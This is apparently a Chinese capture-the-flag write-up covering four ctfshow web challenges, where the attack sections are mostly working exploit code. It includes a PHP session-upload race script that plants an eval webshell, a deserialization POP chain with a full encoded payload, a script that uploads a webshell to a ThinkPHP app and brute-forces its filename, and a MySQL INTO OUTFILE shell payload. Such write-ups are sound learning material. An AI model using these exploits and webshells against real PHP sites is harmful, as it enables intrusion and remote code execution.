前言
什么跨年,等下拿shell了,交个flag先
官方wp:https://docs.qq.com/doc/DRlBMcWdhZW9ZUnFB
Web
easy_include
file伪协议+session文件包含
<?php
function waf($path){
    $path = str_replace(".","",$path);
    return preg_match("/^[a-z]+/",$path);
}
if(waf($_POST[1])){
    include "file://".$_POST[1];
}
经典的几行php代码题
稍微看一下可以知道底下file协议可以任意读文件,然后过滤了.,开头必须是小写字母,也就是说不能目录穿越了
接下来本地测试一下file协议支持的几种读法:
在我的博客中曾经提到过file协议可以用127.0.0.1来读取文件

测试发现localhost也可以读到根目录下的文件

不过我们不知道flag文件的格式
但是在cookie里头我们可以发现有PHPSESSID,说明开了session
尝试session文件包含
exp:
import requests
import io
import threading
url='http://29273075-c82f-4e79-8937-13eaae3dd55b.challenge.ctf.show/' #引入url
sessionid='a07a636875b6a65a4fb6dec1f6274bc0' #PHPSESSID的值
data={
    "1":"localhost/tmp/sess_"+sessionid,
    "0":"file_put_contents('/var/www/html/1.php','<?php eval($_POST[2]);?>');" #将木马写入1.php
    }
def write(session):
    fileBytes=io.BytesIO(b'a'*1024*50) #上传一个50k的文件
    while True:
        response=requests.post(url,data={
            'PHP_SESSION_UPLOAD_PROGRESS':'<?php eval($_POST[0]);?>' #将这段代码写入session文件中
        },
        cookies={
            'PHPSESSID':sessionid #同上,PHPSESSID的值
        },
         files={
             'file':('ctfshow.jpg',fileBytes) #上传这个文件单单只是为了抓个包,其他一点用都没有,可以删除
         }
         )
def read(session):
    while True:
        response=session.post(url,data=data,cookies={
            'PHPSESSID':sessionid      #包含session文件让第一个eval执行,然后执行第二个eval
        })
        response2=session.get(url+'1.php') #获得回显
        if response2.status_code==200:
            print('++++++perfect+++++')
        else:
            print(response2.status_code)
if __name__=='__main__':
        evnet=threading.Event()       #开启线程
        with requests.session() as session:        #多线程操作
            for i in range(5):
                threading.Thread(target=write,args=(session,)).start()
            for i in range(5):
                threading.Thread(target=read, args=(session,)).start()
        evnet.set()           #将信号标志设置为True,并唤醒所有处于等待状态的线程。


下班

拿下五血,离pop神最近的一次
不过都是文件包含的话,貌似还可以用pear来做
easy_web (复现)
反序列化+php特性+c绕过正则&wakeup+filterchain base64去杂
这题可以说是ctfshow web入门的毕业题了
<?php
header('Content-Type:text/html;charset=utf-8');
error_reporting(0);
function waf1($Chu0){
    foreach ($Chu0 as $name => $value) {
        if(preg_match('/[a-z]/i', $value)){
            exit("waf1");
        }
    }
}
function waf2($Chu0){
    if(preg_match('/show/i', $Chu0))
        exit("waf2");
}
function waf_in_waf_php($a){
    $count = substr_count($a,'base64');
    echo "hinthinthint,base64喔"."<br>";
    if($count!=1){
        return True;
    }
    if (preg_match('/ucs-2|phar|data|input|zip|flag|\%/i',$a)){
        return True;
    }else{
        return false;
    }
}
class ctf{
    public $h1;
    public $h2;
    public function __wakeup(){
        throw new Exception("fastfast");
    }
    public function __destruct()
    {
        $this->h1->nonono($this->h2);
    }
}
class show{
    public function __call($name,$args){
        if(preg_match('/ctf/i',$args[0][0][2])){
            echo "gogogo";
        }
    }
}
class Chu0_write{
    public $chu0;
    public $chu1;
    public $cmd;
    public function __construct(){
        $this->chu0 = 'xiuxiuxiu';
    }
    public function __toString(){
        echo "__toString"."<br>";
        if ($this->chu0===$this->chu1){
            $content='ctfshowshowshowwww'.$_GET['chu0'];
            if (!waf_in_waf_php($_GET['name'])){
                file_put_contents($_GET['name'].".txt",$content);
            }else{
                echo "绕一下吧孩子";
            }
                $tmp = file_get_contents('ctfw.txt');
                echo $tmp."<br>";
                if (!preg_match("/f|l|a|g|x|\*|\?|\[|\]| |\'|\<|\>|\%/i",$_GET['cmd'])){
                    eval($tmp($_GET['cmd']));
                }else{
                    echo "waf!";
                }
            file_put_contents("ctfw.txt","");
        }
        return "Go on";
        }
}
if (!$_GET['show_show.show']){
    echo "开胃小菜,就让我成为签到题叭";
    highlight_file(__FILE__);
}else{
    echo "WAF,启动!";
    waf1($_REQUEST);
    waf2($_SERVER['QUERY_STRING']);
    if (!preg_match('/^[Oa]:[\d]/i',$_GET['show_show.show'])){
        unserialize($_GET['show_show.show']);
    }else{
        echo "被waf啦";
    }
}
经典一堆waf
waf1
function waf1($Chu0){
    foreach ($Chu0 as $name => $value) {
        if(preg_match('/[a-z]/i', $value)){
            exit("waf1");
        }
    }
}
    
waf1($_REQUEST);
不允许有小写字母,对于序列化字符串来说肯定是过不去的
不过这里有$_REQUEST特性,传post参数绕过即可
waf2
function waf2($Chu0){
    if(preg_match('/show/i', $Chu0))
        exit("waf2");
}
waf2($_SERVER['QUERY_STRING']);
匹配show,但是$_SERVER[‘QUERY_STRING’]特性,只能匹配没有url编码过的数据
序列化头
然后看反序列化前的第一个正则
preg_match('/^[Oa]:[\d]/i',$_GET['show_show.show'])
首先是非法传参show[show.show
开头不能为O:数字或者a:数字(数组包装),可以确定是C绕过
pop链
接下来是pop链:ctf::__destruct -> show::__call -> Chu0_write::__toString
php版本5.5.9,绕过wakeup抛出异常的方法有CVE-2016-7124,因为反序列化的结果没赋值给变量,这里用不了fast_destruct
不过我们在上面c绕过就把这个wakeup绕了(
剩下几个魔术方法的触发也是需要一些trick的
基操触发__call
$a = new ctf(); $a->h1 = new show();然后是__toString,正则匹配就可以触发,但是这个数组
$args[0][0][2]不好处理,比赛时卡这里了不能这样赋值
$a->h2[0][0][2]=new Chu0_write(),本地打印出来的结果为:[h2] => Array ( [0] => Array ( [0] => Array ( [2] => Chu0_write Object ( [chu0] => [chu1] => [cmd] => ) ) ) )乍一看是三维数组,但是因为
__call($name,$args)中的$args已经是一个数组,所以h2只需要是二维数组即可正确的写法如下:
$b = new Chu0_write(); $a->h2 = array(array('', '', $b));打印的结果是:
[h2] => Array ( [0] => Array ( [0] => [1] => [2] => Chu0_write Object ( [chu0] => [chu1] => [cmd] => ) ) )即二维数组
接下来进了__toString,第一层匹配
$this->chu0===$this->chu1只需要让chu0强等于chu1即可,那我们直接引用赋值就可以了
$b->chu1 = &$b->chu0;
所以构造出基本的exp:
<?php
class ctf
{
    public $h1;
    public $h2;
}
class show
{
}
class Chu0_write
{
    public $chu0;
    public $chu1;
    public $cmd;
}
$a = new ctf();
$a->h1 = new show();
$b = new Chu0_write();
$b->chu1 = &$b->chu0;
$a->h2 = array(array('', '', $b));	// 等价于$a->h2=[[2=>new Chu0_write()]]
$c=new ArrayObject($a);
echo serialize($c);
反序列化的部分就到此结束了
C:11:"ArrayObject":167:{x:i:0;O:3:"ctf":2:{s:2:"h1";O:4:"show":0:{}s:2:"h2";a:1:{i:0;a:3:{i:0;s:0:"";i:1;s:0:"";i:2;O:10:"Chu0_write":3:{s:4:"chu0";N;s:4:"chu1";R:10;s:3:"cmd";N;}}}};m:a:0:{}}
filterchain写文件
function waf_in_waf_php($a){
    $count = substr_count($a,'base64');
    echo "hinthinthint,base64喔"."<br>";
    if($count!=1){
        return True;
    }
    if (preg_match('/ucs-2|phar|data|input|zip|flag|\%/i',$a)){
        return True;
    }else{
        return false;
    }
}
$content='ctfshowshowshowwww'.$_GET['chu0'];
            if (!waf_in_waf_php($_GET['name'])){
                file_put_contents($_GET['name'].".txt",$content);
            }else{
                echo "绕一下吧孩子";
            }
                $tmp = file_get_contents('ctfw.txt');
                echo $tmp."<br>";
                if (!preg_match("/f|l|a|g|x|\*|\?|\[|\]| |\'|\<|\>|\%/i",$_GET['cmd'])){
                    eval($tmp($_GET['cmd']));
                }else{
                    echo "waf!";
                }
            file_put_contents("ctfw.txt","");
稍微审一下,可以知道如果要命令执行的话就要控制$tmp的内容,而$tmp的内容需要写文件得到,文件名和内容是我们可控的
不过这个文件的内容开头写了ctfshowshowshowwww,很明显这样子是不能作为命令执行的
这个时候就要用到filterchain,和绕过死亡代码一样的方式通过base64去杂实现
waf里面要求只能出现一次base64,还ban掉了其它的伪协议和ucs-2编码
总之我们先测试一下限制一次base64解码的情况下能整出什么

前面多出来的字符串编码后再解码出现了r、0这两个属于码表的字符,所以我们为了剔除这两个字符,需要构造过滤器组合使r和0变成非码表字符,最后被base64去杂
官方wp用的是utf-8,utf-16le,quoted-printable编码
测试一下:

去杂成功
那么反过来生成我们要拼接的文件内容:
<?php
$b = 'system';
$a = iconv('utf-8', 'utf-16le', base64_encode($b));
echo quoted_printable_encode($a);
//quoted_printable_encode用于填充空字节,因为utf-8转utf-16le会产生空字节,file_put_contents会对空字节报错
所以这一部分的payload就是
GET:name=php://filter/convert.quoted-printable-decode/convert.iconv.utf-16.utf-8/convert.base64-decode/resource=ctfw
POST:chu0=c=003=00l=00z=00d=00G=00V=00t=00
命令执行
if (!preg_match("/f|l|a|g|x|\*|\?|\[|\]| |\'|\<|\>|\%/i",$_GET['cmd'])){
                    eval($tmp($_GET['cmd']));
                }else{
                    echo "waf!";
                }
最后命令执行直接env看环境变量就行
如果不在环境变量的话,可以用show_source配合chr()读文件,注意show依旧要url编码
结合上面所有的trick,最终的payload为
GET:?%73%68%6f%77[%73%68%6f%77.%73%68%6f%77=%43%3a%31%31%3a%22%41%72%72%61%79%4f%62%6a%65%63%74%22%3a%31%36%37%3a%7b%78%3a%69%3a%30%3b%4f%3a%33%3a%22%63%74%66%22%3a%32%3a%7b%73%3a%32%3a%22%68%31%22%3b%4f%3a%34%3a%22%73%68%6f%77%22%3a%30%3a%7b%7d%73%3a%32%3a%22%68%32%22%3b%61%3a%31%3a%7b%69%3a%30%3b%61%3a%33%3a%7b%69%3a%30%3b%73%3a%30%3a%22%22%3b%69%3a%31%3b%73%3a%30%3a%22%22%3b%69%3a%32%3b%4f%3a%31%30%3a%22%43%68%75%30%5f%77%72%69%74%65%22%3a%33%3a%7b%73%3a%34%3a%22%63%68%75%30%22%3b%4e%3b%73%3a%34%3a%22%63%68%75%31%22%3b%52%3a%31%30%3b%73%3a%33%3a%22%63%6d%64%22%3b%4e%3b%7d%7d%7d%7d%3b%6d%3a%61%3a%30%3a%7b%7d%7d&name=php://filter/convert.quoted-printable-decode/convert.iconv.utf-16.utf-8/convert.base64-decode/resource=ctfw&chu0=c=003=00l=00z=00d=00G=00V=00t=00&cmd=env
                  
POST:show[show.show=1&name=1&chu0=1&cmd=1

非预期
扫出了phpinfo.php,flag在环境变量里可还行
孤注一掷 (复现)
thinkphp
hint:TP框架本身的漏洞,需要研究某些机制的底层实现是否没有安全问题
二维码扫进去是rickroll(我自愿的)
扫一下靶机

访问install.php,得知是FastAdmin框架
在 index 的控制器中发现文件上传的功能upload.php
<?php
namespace app\index\controller;
use think\Controller;
use think\Request;
class Upload extends Controller
{
    public function image(Request $request)
    {
        $file = $request->file('file');
        if( ! $file ) {
            $this->error("error.");
        }
        $info = $file->move(ROOT_PATH . 'public' . DS . 'uploads');
        $filename = '/uploads/' . str_replace("\\", "/", $info->getSaveName());
        $this->success('', null, $filename);
    }
}
在这里可以知道上传的路径:ROOT_PATH . 'public' . DS . 'uploads'
那么只需要确定文件名,我们就能getshell
自己起一个tp5的环境
composer create-project topthink/think=5.0.* tp5  --prefer-dist
同时在extend\fast\目录下放一个Form.php:https://gitee.com/karson/fastadmin/blob/master/extend/fast/Form.php
然后把 application 文件夹替换进去
现在可以审计了,跟进到 thinkphp/library/think/File.php 的move方法

看一下文件保存的命名规则,即跟进buildSaveName方法
/**
 * 获取保存文件名
 * @param  string|bool   $savename    保存的文件名 默认自动生成
 * @return string
 */
protected function buildSaveName($savename)
{
    if (true === $savename) {
        // 自动生成文件名
        if ($this->rule instanceof \Closure) {
            $savename = call_user_func_array($this->rule, [$this]);
        } else {
            switch ($this->rule) {
                case 'date':
                    $savename = date('Ymd') . DS . md5(microtime(true));
                    break;
                default:
                    if (in_array($this->rule, hash_algos())) {
                        $hash     = $this->hash($this->rule);
                        $savename = substr($hash, 0, 2) . DS . substr($hash, 2);
                    } elseif (is_callable($this->rule)) {
                        $savename = call_user_func($this->rule);
                    } else {
                        $savename = date('Ymd') . DS . md5(microtime(true));
                    }
            }
        }
    } elseif ('' === $savename) {
        $savename = $this->getInfo('name');
    }
    if (!strpos($savename, '.')) {
        $savename .= '.' . pathinfo($this->getInfo('name'), PATHINFO_EXTENSION);
    }
    return $savename;
}
我们的目标代码为$savename = date('Ymd') . DS . md5(microtime(true));和$savename .= '.' . pathinfo($this->getInfo('name'), PATHINFO_EXTENSION);
则文件名为date('Ymd') . DS . md5(microtime(true)) . '.' . pathinfo($this->getInfo('name'), PATHINFO_EXTENSION);
路径中的前半部分年月日可控,后半部分和时间有关,那么可以碰撞
最后的保存路径大概就是url/20240320/md5(精确到小数点后四位的当前时间),文件后缀是pathinfo($this->getInfo('name'),  PATHINFO_EXTENSION),也就是原上传文件的后缀,比如上传个 1.php 最后保存的文件就是md5(精确到小数点后四位的当前时间).php
所以关键就是上传文件,然后获取上传文件的时间,虽然微秒我们不知道,但也就9999位,直接爆破即可
先看一下服务器时间

从http的返回头可以看到服务器时间
这里在官方wp给的脚本基础上修改了一下来爆破
import requests
from datetime import datetime
import subprocess
import pytz
import hashlib
from tqdm import *
# Author:ctfshow-h1xa
url ="http://3ea6b4e4-b289-4c8d-8f12-16e48e59c317.challenge.ctf.show/"
scriptDate = ""
prefix = ""
session = requests.Session()
headers = {'User-Agent': 'Android'}
def init():
    route="?url="+url
    session.get(url=url+route,headers=headers)
def getPrefix():
    route="index/upload/image"
    file = {"file":("1.php",b"<?php echo 'enana';eval($_POST[1]);?>")}
    response = session.post(url=url+route,files=file,headers=headers)
    response_date = response.headers['date']
    print("正在获取服务器时间:")
    print(response_date)
    date_time_obj = datetime.strptime(response_date, "%a, %d %b %Y %H:%M:%S %Z")
    date_time_obj = date_time_obj.replace(tzinfo=pytz.timezone('GMT'))
    date_time_obj_gmt8 = date_time_obj.astimezone(pytz.timezone('Asia/Shanghai'))
    print("正在转换服务器时间:")
    print(date_time_obj_gmt8)
    year = date_time_obj_gmt8.year
    month = date_time_obj_gmt8.month
    day = date_time_obj_gmt8.day
    hour = date_time_obj_gmt8.hour
    minute = date_time_obj_gmt8.minute
    second = date_time_obj_gmt8.second
    global scriptDate,prefix
    scriptDate = str(year)+(str("0"+str(month)) if month<10 else str(month))+(str("0"+str(day)) if day<10 else str(day))
    seconds = int(date_time_obj_gmt8.timestamp())
    print("服务器时间:")
    print(seconds)
    code = f'''php -r "echo mktime({hour},{minute},{second},{month},{day},{year});"'''
    print("脚本时间:")
    result = subprocess.run(code,shell=True, capture_output=True, text=True)
    script_time=int(result.stdout)
    print(script_time)
    if seconds == script_time:
        print("时间碰撞成功,开始爆破毫秒")
        prefix =  seconds
    else:
        print("错误,服务器时间和脚本时间不一致")
        exit()
def checkUrl():
    h = open("url.txt","a")
    global scriptDate
    for i in trange(1000,9999):
        target = str(prefix)+"."+str(i)
        md5 =string_to_md5(target)
        route = "/uploads/"+scriptDate+"/"+md5+".php"
        #print("正在爆破"+route)
        response = session.get(url=url+route,headers=headers)
        if response.status_code == 200:
            print("成功getshell,地址为 "+url+route)
            exit()
        h.write(route+"\n")
    h.close()
    print("爆破结束")
    return
def string_to_md5(string):
    md5_val = hashlib.md5(string.encode('utf8')).hexdigest()
    return md5_val
if __name__ == "__main__":
    init()
    getPrefix()
    checkUrl()
测了半天访问不到对应的url,脚本也是跑失败了好几次
后面发现官方脚本scriptDate这里的month没设置 <10 的情况导致目录是错的


这题本质上应该算是个逻辑漏洞,算不上底层
easy_login
红包题9改的,这次把写文件的方法去掉了
群主说是0day
非预期直接拿上次一血佬的exp秒了
exp:
<?php
session_start();
class mysql_helper
{
    public $option = array(
        PDO::MYSQL_ATTR_INIT_COMMAND => "select '<?=`nl /*`;'  into outfile '/var/www/html/3.php';"
    );
}
class application
{
    public $mysql;
    public $debug = true;
    public function __construct()
    {
        $this->mysql = new mysql_helper();
    }
}
$_SESSION['user'] = new application();
echo session_encode();
访问
http://70e52151-56eb-40af-b6e1-b986d7c749b7.challenge.ctf.show/index.php?action=main&token=user|O:11:%22application%22:2:{s:5:%22mysql%22;O:12:%22mysql_helper%22:1:{s:6:%22option%22;a:1:{i:1002;s:57:%22select%20%27%3C?=`nl%20/*`;%27%20%20into%20outfile%20%27/var/www/html/3.php%27;%22;}}s:5:%22debug%22;b:1;}
然后访问3.php